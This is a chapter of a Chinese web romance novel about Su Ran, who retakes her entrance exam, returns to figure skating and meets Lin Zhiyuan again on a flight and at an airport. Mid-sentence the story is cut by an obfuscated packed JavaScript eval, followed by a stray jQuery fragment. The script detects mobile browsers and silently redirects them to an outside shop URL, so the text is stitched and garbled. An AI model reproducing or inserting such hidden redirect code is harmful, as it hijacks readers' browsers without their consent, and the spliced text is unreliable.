回过头看去,是拄着拐杖的老爷爷,虽然腿脚不便的样子,但老人家还是在努力的大步往这边赶。
苏冉和李子尧对视一眼,彼此都是疑惑的眼神。
“那……那是我家的!”老爷爷大喊道,“小毛孩子,不准偷我家的狗!”
怀里的小黄狗见主人来了,高兴的嚎了几声,并在李子尧的臂弯里不停蛄蛹,想下去。
“我们还以为这是流浪狗,”他不好意思的摸了摸头,有点尴尬的解释着,“想着它一条小狗生活也不容易……”
好说歹说才把气鼓鼓的老爷爷送走了。
“你差点就成偷狗贼,”苏冉的笑容就没有停过,“有没有什么想法?李先生?”
“你还在笑!”李子尧加快的脚步,把女孩甩到身后,“你不是也没看出来!”
“不要生气,我不是在笑你,”她追上去,拉着他的袖子,“谢谢你来找我聊天。
“不要担心我,虽然这段时间很难,但是我不会放弃的。”
路灯亮起,把回家的两个人的影子拉得很长。
于是乎,苏冉又过上一边复读备战高考,一边慢慢恢复冰上训练的生活。
日子还是一天天的过,阔别冰面许久的她才鼓起勇气上了冰,颤颤巍巍的样子,不知道还以为是腿脚不好的人。
连滑行都这样,跳跃的难度储备也可想而知,只剩可怜的两周跳,想要恢复到参加竞技的水平还有很多路需要走。
好在,虽然迷茫,但她依然在路上。
充实的生活让她可以林致远抛在脑后,只要他不来梦里找她就行。
不过,偶然苏冉会猝不及防的知道他的近况。
在又一次完成冰上的训练后,手机上屏幕亮起,是营销号推送的一条关于盛安集团疑似改朝换代的消息。
整条博文大段大段写现在的董事长林致远是如何英勇,决策是多么有魄力,只是改朝换代的过程则写得云里雾里的。
作为多少知道点内情的苏冉,只觉得是林致远用点手段拿到他想要的权利,终于成为盛安集团的接班人。
一想到他现在正春风得意,苏冉就很不爽,当年的事似乎对他一点影响也没有。
在她时不时为那段时间的逝去而感到难过的时候,林致远沉醉于自己的远大前途,青云直上。
手机被猛地丢开,她从床上爬起来打算再刷几道题,只是唯一不会对自己造成伤害的泄愤方式。
夜深人静,当整座城市都沉沉睡去时,奋笔疾书的人还趴在桌前,台灯投下的光芒显得她的影子很孤独。
之前在俱乐部训练的空闲时刻,学员会三三两两的聚在一起讲些八卦,苏冉一般在旁边喝着水,安静的听着。
有个学员抱怨她的男朋友突然就和她分手,也不说什么原因,她都哭好几次。
她的朋友围上去,纷纷安慰她、有骂她男朋友的、有给她介绍新人认识的、还有开导她断情绝爱的。
那个学员抽抽搭搭的说她还是想要男朋友回来。
苏冉在一边只觉得无语,临走前说,他不喜欢你就是不喜欢,再怎么哭他也不会回来的。
而现在,回旋镖扎到她自己。
喜欢和不喜欢就在一念之间,这让人要怎么接受……
风把树叶吹得沙沙作响,也吹动窗户,震得玻璃发出哭泣般的鸣叫。
——
又是一年毕业季,参加第二次的苏冉早已没有当年的激动,只剩下疲惫。
生机勃勃的青春和她无关,只希望这次成绩不要让她失望。
考试的铃声响了又响,离开考场,她马不停蹄的去训练。
当录取的消息下来时,她才感到些许安心。
只见查询的页面上显示着大大的“清北大学法学系”和右下角的“已录取”,爸爸妈妈很高兴。
苏冉也是,考入华国最好的大学,在世俗的意义上,她终于不是彻头彻尾的失败者。
在入学前,她参加了一场花样滑冰俱乐部联赛,作为沉寂后的首秀,从分数上来说发挥的一般,但站在赛场的感觉还是让她热血沸腾,没有放弃滑冰真好。
当比赛结束时,她收获其他选手、教练和观众久久不停的掌声。
回学校的飞机上,苏冉也不能忘怀那时的场景。
飞机上,她坐下没多久,隔壁男人的腿就直直的横过来。
苏冉皱了皱眉,拍着他的肩膀:“先生,把腿收回去。”
那个男人装作睡着的样子,直到她重复了好几遍才不情不愿的挪了挪腿。
飞机升空后,透过窗户可以看见机翼划出的一道道白线,对于第一次坐房间的苏冉来说很是新奇。
“咔嚓”的一声伴随着刺眼的闪光灯,又是那个男人!
坐在她身边的男人心虚的把手机收起来,又开始装睡。
神经病,她在心里暗暗的骂道,真倒霉和这样的人坐在一起。
“很抱歉为您的旅程造成不便,为表歉意先为您做升舱的处理,请稍等。”
原本怒气冲冲的苏冉听到空姐这么说,气顿时消了一大半,舱里的其他乘客纷纷看过来,反而让她很不自在。
走进头等舱,天地都广阔了,这里的座位真是大的出奇,带着礼貌微笑的空姐领着她,穿过一排又一排悠闲的有钱人。
“我的运气可真……”
好字还没说出口,视野就猝不及防的撞上一个熟悉又陌生的身影,苏冉感觉把口罩拉起来,低着头走着。
“小姐,你的位置在这里。”
就是那么巧合,为她安排的座位就在林致远的后面,她的运气真是太差了。
苏冉僵硬的点了点头,尽职的空姐在一一为她介绍毯子、拖鞋在哪儿,床要要怎么放下来……
而她紧紧的盯着林致远的后脑勺,生怕他有什么动静回头和自己对上眼神。
漫长的介绍过去后,空姐终于走了。
她只感觉脑子有些发懵,在这么近的距离下,她害怕砰砰的狂跳的心脏声和呼吸声会引起她的注意。
苏冉没有准备好和他见面,不,她根本就没有准备!
放轻松,他没看见自己,这只是一场意外,下飞机后他们就不会有交集了。
林致远突然侧了下身,好像是要回头,吓得某人胡乱抓起眼罩和毯子盖在身上。
一声清晰的卡扣声传来,他把床放下来。
躺下后,白色的挡板遮住视野的大部分,苏冉看不见他了。
真好……她松了口气,僵硬的肩膀卸下力来。
一点也不好,当时被抛下的人是她,见面时慌张的人还是她。
在他过着平静充满希望的生活时,苏冉还在满是霉味的出租屋想把他赶出脑海。
太不公平了!飞机的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723509|203579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轰鸣声淹没着她的小声的抗议。
缩在角落的人默默的睡着了,一条毯子轻轻的盖在她的身上。
窗外的夜色渐浓,从万米高空向下俯视可以看到星星点点的城市灯光。
“小姐,醒醒。”
一双着急的手猛地把她给摇醒,苏冉起身后才看见头等舱的人都不见了,只有她的座位前围了一圈着急的机组人员。
在大家的注视中醒来过来并不是什么好事。
听到她们的窃窃私语,苏冉才知道她睡得太死,以至于她们担心自己会不会早就交代在这里。
取出等待已久的行李,她的脸还是红的。
都怪林致远,如果不是他,自己也不会这么丢人!
气呼呼拉着行李的人看着手机,复杂的路标在地面交错又分开,跟随着指引直直的走着,迎面撞到一个高大的身影。
檀木的气息扑鼻而来,胸针隔得她的鼻子生疼,想要抽身时,脚下的行李一横就干脆的把她给绊倒。
苍天,她今天还能再倒霉点吗?
被撞到的男人修长的手指抓住她的手腕,另一只手扶起摇摇欲坠的行李箱。
“对不起,我一时没看路,”她连忙不停的道歉,“你……”
男人一双似笑非笑的桃花眼盯着她,从瞳孔的反光中,苏冉看见满眼泪水的自己。
该死,是林致远!她今天真是受够了!
从他的怀抱里挣扎出来的苏冉,咬住嘴唇转身就要走。
机场的大厅的人行色匆匆,偶然会有人停步驻足,也不是什么稀奇事。
她没能走掉,因为林致远的手死死的抓住她不肯松开。
“你要去清北大学报道吧?”他的声音略带些嘶哑,“我们同路。”
“你什么时候看到我的?”她淡淡的问。
“候机的时候就看见了,”林致远放开手,垂下眼,“在飞机上,你似乎不想看见我。”
“难道我现在就看见你吗?”苏冉冷冷的说。
想起天台的约定,不知道该说她自己守约,还是林致远守约。
她的一只手无意识的波动着行李箱推拉杆上的挂饰,眼前的男人相比之前,身材变得壮实了不少,五官的变化不大,那双眼睛似乎一如既往,薄薄的嘴唇紧紧的抿着,喉结随着胸腔的起伏有节奏的上下滚动着。
一身服帖的黑色西装衬得他的身形板正,胸针歪歪斜斜的挂在口袋前。
反观自己,走得匆忙,没有化妆,随便套了件洗的发白的休闲服,盯着乱糟糟的头发叉着腰站在路中间。
到底还是苏冉先败下阵来,说:“麻烦你把我送到学校吧,谢谢啦。”
林致远这才笑了下,想去拉她的行李箱,被她一个闪身躲过。
她只是说了句话,又不代表要原谅这个男的,他怎么好意思啊!
从机场大厅到停车场的路上,两人一前一后的走着,除了行李箱轮子滚动的响声,再没有其他的声音。
拉开车门,苏冉正准备直接坐到后排,就看见林致远去了驾驶室,想到坐在这里不礼貌,她又打开副驾驶的门。
轿车稳稳的行驶到主路,早高峰的淮云市仍然在堵车。
“苏冉,我之前说过等我们都到清北大学,我就把我家里的事都告诉你。”
林致远有些紧张的敲了敲方向盘,飞快的打量着坐在副驾驶的女孩。